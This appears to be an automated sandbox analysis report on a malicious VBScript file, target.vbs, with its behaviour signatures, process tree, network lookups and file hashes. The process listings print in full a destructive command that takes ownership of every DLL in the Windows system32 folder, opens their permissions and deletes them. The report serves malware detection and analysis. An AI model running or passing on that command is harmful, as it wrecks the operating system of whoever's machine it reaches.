Analysis Overview
SHA256
25222982f06a67bc1f37ddf33f74be204b1df193c00a0fa0cfb95e79dd20a73c
Threat Level: Likely malicious
The file target.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:55
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:55
Reported
2024-08-09 20:58
Platform
win7-20240705-en
Max time kernel
16s
Max time network
17s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs
| MD5 | e1927179ed9426b0d7e8ea05f274e1aa |
| SHA1 | 52d760ce1cbc5999639667700deaa1dd855f6ee2 |
| SHA256 | 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b |
| SHA512 | 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:55
Reported
2024-08-09 20:58
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
152s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 920 wrote to memory of 4640 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 920 wrote to memory of 4640 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 920 wrote to memory of 1512 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 920 wrote to memory of 1512 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 1512 wrote to memory of 1144 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 1512 wrote to memory of 1144 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 1512 wrote to memory of 4768 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 1512 wrote to memory of 4768 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs
| MD5 | e1927179ed9426b0d7e8ea05f274e1aa |
| SHA1 | 52d760ce1cbc5999639667700deaa1dd855f6ee2 |
| SHA256 | 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b |
| SHA512 | 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e |